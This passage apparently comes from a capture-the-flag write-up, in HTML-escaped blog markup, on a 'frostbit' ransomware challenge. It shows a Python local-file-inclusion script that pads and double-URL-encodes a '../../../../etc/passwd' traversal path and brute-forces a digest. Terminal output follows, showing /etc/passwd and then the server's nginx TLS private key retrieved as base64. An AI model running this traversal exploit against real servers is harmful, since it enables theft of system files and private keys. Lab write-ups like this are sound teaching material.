class=&#34;string&#34;&gt;b&amp;quot;\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;file = &lt;span class=&#34;built_in&#34;&gt;input&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;File: &amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;FILENAME --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(file))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;file = file.encode(&lt;span class=&#34;string&#34;&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;len&lt;/span&gt;(file) % &lt;span class=&#34;number&#34;&gt;16&lt;/span&gt; != &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    file += padding_byte&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;PADDED FILENAME --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(file))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;file += append_nonce&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;PADDED FILENAME WITH APPENDED NONCE --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(file))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;file = urllib.parse.quote_plus(urllib.parse.quote_plus(file))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;DOUBLE URL ENCODED --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(file))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; combination &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; product(*ranges):&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    digest = digest_str.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(*combination)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    url = base_url.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(file, uuid, digest)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;ATTEMPTING DIGEST --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(digest))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    r = requests.get(url)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Status Id Too Long&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; r.text:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; ERROR!!! Status Id Too Long !!!&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;break&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    &lt;span class=&#34;keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Invalid Status Id or Digest&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; r.text &lt;span class=&#34;keyword&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Status Id File Not Found&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;in&lt;/span&gt; r.text:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; SUCCESS&amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        matches = re.search(regex, r.text, re.MULTILINE)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        b64_value = matches.group(&lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot;DEBUG DATA B64 VALUE --&amp;gt; &amp;#123;&amp;#125;&amp;quot;&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;format&lt;/span&gt;(b64_value))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (&lt;span class=&#34;string&#34;&gt;&amp;quot; --&amp;gt; DECODED STRING --&amp;gt; &amp;quot;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; (base64.b64decode(b64_value).decode(&lt;span class=&#34;string&#34;&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;))&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        &lt;span class=&#34;keyword&#34;&gt;break&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;This script handles the padding of the file and its double url encoding, then it iterates through the possible digests and, if successful, it returns the value of the &lt;code&gt;debugData&lt;/code&gt; const decoded from base64. Running it with the file &lt;code&gt;../../../../etc/passwd&lt;/code&gt; provides the expected result:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % python3 lfi.py &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;File: ../../../../etc/passwd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;FILENAME --&amp;gt; ../../../../etc/passwd&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;PADDED FILENAME --&amp;gt; b&lt;span class=&#34;string&#34;&gt;&amp;#x27;../../../../etc/passwd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;PADDED FILENAME WITH APPENDED NONCE --&amp;gt; b&lt;span class=&#34;string&#34;&gt;&amp;#x27;../../../../etc/passwd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;DOUBLE URL ENCODED --&amp;gt; ..%252F..%252F..%252F..%252Fetc%252Fpasswd%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%25FF%259E%25E0%25E7%25C0%25A1%25E3%25B5%25DA%25DE%25E0%25E7%25C0%25A1%25E3%25B5%25DA&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;ATTEMPTING DIGEST --&amp;gt; 00000000000000000000000000000000&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; SUCCESS&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;DEBUG DATA B64 VALUE --&amp;gt; cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; DECODED STRING --&amp;gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;root:x:0:0:root:/root:/bin/bash&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;sys:x:3:3:sys:/dev:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;sync&lt;/span&gt;:x:4:65534:&lt;span class=&#34;built_in&#34;&gt;sync&lt;/span&gt;:/bin:/bin/sync&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;games:x:5:60:games:/usr/games:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;man:x:6:12:man:/var/cache/man:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;mail:x:8:8:mail:/var/mail:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;news:x:9:9:news:/var/spool/news:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;proxy:x:13:13:proxy:/bin:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;backup:x:34:34:backup:/var/backups:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;_apt:x:42:65534::/nonexistent:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h3 id=&#34;The-public-key&#34;&gt;&lt;a href=&#34;#The-public-key&#34; class=&#34;headerlink&#34; title=&#34;The public key&#34;&gt;&lt;/a&gt;The public key&lt;/h3&gt;&lt;p&gt;The messages of the &lt;code&gt;frostbitfeed&lt;/code&gt; discovered in the Santa Vision challenge provides a useful hint for this challenge: &lt;code&gt;Let&amp;#39;s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key&lt;/code&gt;.&lt;br&gt;Leveraging on the LFI script and knowing the relative path, it becomes trivial to retrieve the key file:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;46&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;47&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;48&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;49&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;50&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;51&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;52&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;53&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;54&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;55&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;56&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;57&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;58&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;59&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;60&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;61&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;(act3-ransomware) thedead@maccos act3-ransomware % python3 lfi.py&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;File: ../../../../etc/nginx/certs/api.frostbit.app.key&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;FILENAME --&amp;gt; ../../../../etc/nginx/certs/api.frostbit.app.key&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;PADDED FILENAME --&amp;gt; b&lt;span class=&#34;string&#34;&gt;&amp;#x27;../../../../etc/nginx/certs/api.frostbit.app.key&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;PADDED FILENAME WITH APPENDED NONCE --&amp;gt; b&lt;span class=&#34;string&#34;&gt;&amp;#x27;../../../../etc/nginx/certs/api.frostbit.app.key\x9e\xe0\xe7\xc0\xa1\xe3\xb5\xda\xde\xe0\xe7\xc0\xa1\xe3\xb5\xda&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;DOUBLE URL ENCODED --&amp;gt; ..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key%259E%25E0%25E7%25C0%25A1%25E3%25B5%25DA%25DE%25E0%25E7%25C0%25A1%25E3%25B5%25DA&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;ATTEMPTING DIGEST --&amp;gt; 00000000000000000000000000000000&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; --&amp;gt; SUCCESS&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;DEBUG DATA B64 VALUE --&amp;gt; LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjgwb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3CjhHZ0Ftd3hJRm9kZHVkUCt4TU56OXU1bFJGRXhxRFdvSzJUeEtieWlHVE9LVjlJbHBaVUxGeWZWOS8vaTh2cTQKZXc3SDlUczdkdU5oNGdlSE55c2ZXcWRyVmViVFJaNkFlQ0FlSjJjWnVWUDRicmlhaTBYRHEyS1VkL3NjN2tnUQp4WEdndzB0L0ZxaURnbHBTRjFQRnhQdlV6SndjSk5RaElZUUN4UkN3SGtIcVZTblRvWmNuakpqaGdWeVhzVE55CjVwT0xCV3FnNW5Tblhyd2w4SmZHa1VITi9Ud2JiODI5cklNVDU1MFp4TzhLWUg0cS9rVjNjd1ZjU1lmRVl2TUoKSm9lUUZDZ0hpdUw1RXV4QVViTzZLWmdUblJXaFdRbW90VFFiK2ZDajhzaWxqZzhkSWR3eEI2OTBMdlpZcHZ2NAp5UExZZ3FDZjlQenpnclpQdmxKK1hrSW5KM3MvK0RPTDBWYkNnVEhQMGdicE83a2RqaVRPQlMxSnArRnRiQ0crCjZvbXZ3U2cvY0VMTm5zRENzNkYxeDMzaVI3dHVtZVF5U3dOUFdOR3Q2cE9IbXlHZkhZTDJSeGhqNVM1bkNYcXgKR0N4MnEybUg4bDRBTDViYnpWVnhFRWErK0ZnbmQ5cjI0U1NDM2J2bE5WVDBDRGZCZG9LelR1TzhST05CNFdLTgprYnFOaitNRThKREhVQTM5bGQveXFJVmlHampBRVIvTlRpc2hrNXprMDQxOUFpUXBIZk9VbkNOeHExN05aUDVLCmdMeHg3eHJUYUxkUG0wWDlhTU9jcXVJUGVuanJ3WmZJVnB5cVpvVW4vRDB6aW5vTklub2s4Q0ZkYkQ4Q0F3RUEKQVFLQ0FnQUFnd3o3UFp1YXFSc3VhZmM5WWJsWHlFcVRwaGlDQkd1SWh1aHVsOGhuSjJuYjBPTktyRHg5cmsxRQp0SWl6a1I4QklxcXdvblZveHRIOXVMS1VBMG9lcm13TFpGdFRxeWU2Q2FwVEJvWjFiWGNFTGxoeitBUkJuSHlICkRHL3JMY00rM1lTc3h1MEFsek4wcklHWDVMbmo0alRHdUZ2bEhudG1HYkxoOVFxSEpEelpLV21UQUNxVWNUTjAKOGJpTSt2NHc1UnRxNlBRb3Q3dllWUmNJQm5KcFR2Mm9xeU9mUlQ4RnJhbzlnMjEzSkE2eG5JOENLOVhKODN3eAo1NmtHcmluQUJVeGFvS0c2czMzK1hSSFR1cnN4S0R4SlB4elA2TkpzZ010VS84a3cwbEFLZ2hvTGNvZkVmbWZlCm9VQWw3Ull3T2ZkZ1VkVkpGZndzM3ZjbFBGeEFVTU5OaUpXOFRsL0lZNm1aNVBwMUdwaStvbUJPeVlmazlpeU0KUzhSNzZhZmozZDBSaHRUMEppaTg4eUZ0TUJWRkxTTDhZMHNYRVhFTWRJWHRveDdmY2IyVGxaeFhvZFlKZUhKQwowZExRM2I3Q0IrU1B5RGozeFpaSEVGajREUlh3dUNZS2xYc2FvbVhMN3E5YnFMOGxqakpxYzRXUldDZTErNTFlCnNGUDlmVU16dWM2bGNiSGN6TGhONWRnUitjcXJpTW84THpyd3BOaWE2RGpHeUJNZk95UExpTjBaN1pmWHJYRHYKVlNiQmpyTXFlTXRDNlNVMTBDZDJtVlpMTkpMakduSXdmL1NkdW83Vm9OVGc4RjlHY2FVclNxSEt1QjNkTVU5YwpydlJIQnhzRHI0aXN6VzRYMExDTTZ6U1U4NGFFUzFrUC9DTktnNHpaWFYyR3ZZTUdGUUtDQVFFQTV3RmQrWWJFCm4wMkhUWm8rOFYwUi9jSzM4TnZFREFBU0t4RXNSRU9UR3liS3c0QjlvQ0w2NHNFOFJZWE9yYllvMk1HTEM3SkwKcTA4eUxyRVdDY1dDT2JkRGhNYlR4WVYrSjByU0d4aUdqaU9MR0dvV3dnS0hTMUZuck9CZEw3YkZCcWF5RVNqaQpFcWZWTmsyVnJtbGhKS09NV3diMkFQR0w4czRxZFFrckhXd3B0cGMrVURKdUpIZGM2UUNzSHJIeWFmYWhmcXdkCmFUSHB5QlJxSUs2OUZtTVNCUGlTTUx4RSsxR0kyeW95MDBaNTVCRUVKalExYlRHMUhkT2tyTmY1ZkJmKzZXTkEKQTNkYy8yTGFEazdJb3RsNVpndWhsd1VReFp6eFdobjJYMjNOVmNRSkdqSjRzMEx3Snl6UGRpMUNVbGdBL1V5UQpyMlVhRDBueFlYbDV5d0tDQVFFQXVGZlEycE1kME03QytSN1NtZk4zNzY1b3FHS0wrMkZ3a1NncmhVVzJhV3psCjI3U215VlNDMExsb0dERzZHb3JyaHRMaXFtZkZHRFcrUkJwRzBhSklUR09TYmUzTjBWSDlwU3U5YnV1cm52SlcKRGppamFOREtKbnVpaG51QkgxVkRzSENaUk9JNld2REZXMXh5QlBYbzVuUlZZNnk1T3IyZUdUaS9rYkIvckVsZApFZHZ1QTJDY3dZT1NudWZmY2NROFRSSStSWExWMUpEVDNsV0dLeFJ2eUd1TVVJTnpOazBuWk44WC9WdzFTSTRKCmRmWmdXcm9peklaOWN1OVJoWVBkenFLVzU1VGR1S1JSRkRiU2JRRWVjUDgvSHhVdzBacjNTM1ovZFdBMnZTbUsKbzNPeG1TSXhuTmxBa1Zad3J0b0xyOHFYZ2d2TjVkVWR3LzBCVHJUWTNRS0NBUUVBeERjcURwQkZwU